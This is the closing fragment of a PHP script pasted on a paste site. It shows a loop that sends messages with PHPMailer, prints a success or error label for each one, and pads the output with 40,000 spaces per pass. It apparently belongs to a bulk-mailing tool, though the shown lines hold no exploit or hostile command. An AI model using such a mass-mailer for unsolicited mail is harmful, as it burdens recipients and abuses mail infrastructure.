  8143.  
  8144. else {$mail->IsHTML(false);}
  8145.  
  8146. if (!$mail->send()) {
  8147.  
  8148. echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
  8149.  
  8150. }
  8151.  
  8152. else {
  8153.  
  8154. echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  8155.  
  8156. }
  8157.  
  8158. print "<br>\r\n";
  8159.  
  8160. }
  8161.  
  8162. $x++;
  8163.  
  8164. for($k = 0; $k < 40000; $k++) {echo ' ';}
  8165.  
  8166. }
  8167.  
  8168. }
  8169.  
  8170. print '</body>';
  8171.  
  8172. ?>
Add Comment
Please, Sign In to add comment